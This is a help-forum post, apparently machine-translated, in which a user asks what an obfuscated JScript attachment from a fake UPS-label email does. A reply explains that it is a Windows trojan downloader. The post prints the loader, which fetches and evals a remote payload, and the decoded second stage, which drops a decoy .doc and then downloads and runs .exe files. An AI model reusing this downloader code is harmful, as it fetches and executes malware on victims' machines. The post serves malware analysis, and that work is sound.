带有 UPS 标签脚本的电子邮件有什么作用?

Email with UPS Label script what does it do?

我今天收到电子邮件,有人给我发了一个 ups 标签,我没有打开它,因为我发现它很可疑,我想知道这段代码的作用,

谢谢

var sder = "P";
var g2 = "M"+"sxml2.XMLHT"+""+"T"+""+sder;

var m = "LZUaj4-qfCYW4M3kjDIgGL844Arvxk8a-hL2LmwUe1fG4_p62GL1yQkO5QZj62RgjWMzKm3mojn5OZRDSmV0C9O7RF_9Lw";

var x = new Array("site link", "site link", "site link", "site link", "site link");
var t4 = "ht"+"tp";

var mul = "qwadro";
var ter = "/";
for (var i=0; i<x.length; i++)
{ 
 var vDJmB = function(){
  return new ActiveXObject(g2);
 }();
 var e = vDJmB;

 try
 {
  e.open("G"+"E"+"T", t4 + ":"+ter+ter+x[i]+"/c"+"o"+"unter/?"+m, false);
  e.send();

  var r = e.responseText;

  if (r.length > 999+1 && r.indexOf(m) > -1)
  {
   eval(e.responseText.split(m).join(mul.substring(2,3)));

   break;
  };
 }
 catch(e)
 {
 };
};

我想知道这段代码的作用,有人试图从我这里获取信息吗?谢谢

它是专门针对 Microsoft Windows 的木马加载程序。它创建一个指向 Msxml2.XMLHTTP activeX 对象 vDJmB.

的指针 e

然后它使用密钥 m 对数组 x 中的站点进行排序,以获得多部分编码的纯文本有效负载组件 r。该组件有效负载被解码为 JavaScript 字符串,然后对其进行评估。每个组成元素的长度在 5972 到 6266 个字符之间。在我的版本中有五个组件。

实际有效负载在解码和评估时会引用其他几个网站,创建多个对象,创建一个扩展名为 .doc 的随机字符文件,尝试 运行 然后将错误捕获到空处理程序中,然后下载一个 png,将其重命名为一个 exe,然后 运行 就可以了……我会说这是相当复杂的混淆。它最终抓住了什么?不能告诉你,因为我没有 Windows 系统。

第一个组件的作用如下(我的有五个这样的组件,站点名称不同):

var ld = 0;
var cs = String.fromCharCode(92);
var ll = [ "seperate_site2.com", "site_in_original4.com", "site_in_original4", "seperate_site2", "site_in_original1.com" ];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".doc")) {
  var fp = fo.CreateTextFile(fn + ".doc", true);
  for (var i = 0; i < 8339; i++) {
    fp.Write(String.fromCharCode(Math.floor(Math.random() * 64 + 20)));
  };
  fp.Close();
  try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
  for (var n = 1; n <= 2; n++) {
    for (var i = ld; i < ll.length; i++) {
      var dn = 0;
      try {
        xo.open("GET", "http://" + ll[ i ] + "/counter/?" + n, false);
        xo.send();
        if (xo.status == 200) {
          xa.open();
          xa.type = 1;
          xa.write(xo.responseBody);
          if (xa.size > 10000) {
            dn = 1;
            xa.saveToFile(fn + n + ".exe", 2);
            try {ws.Run(fn + n + ".exe", 1, 0);} catch (er) {};
          };
          xa.close();
        };
        if (dn == 1) {
          ld = i;
          break;
        };
      } catch (er) {};
    };
  };
} else {
  try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
};

我在 Ubuntu 16.04 上使用 rhino-debugger 和 Eclipse 来评估这个加载器。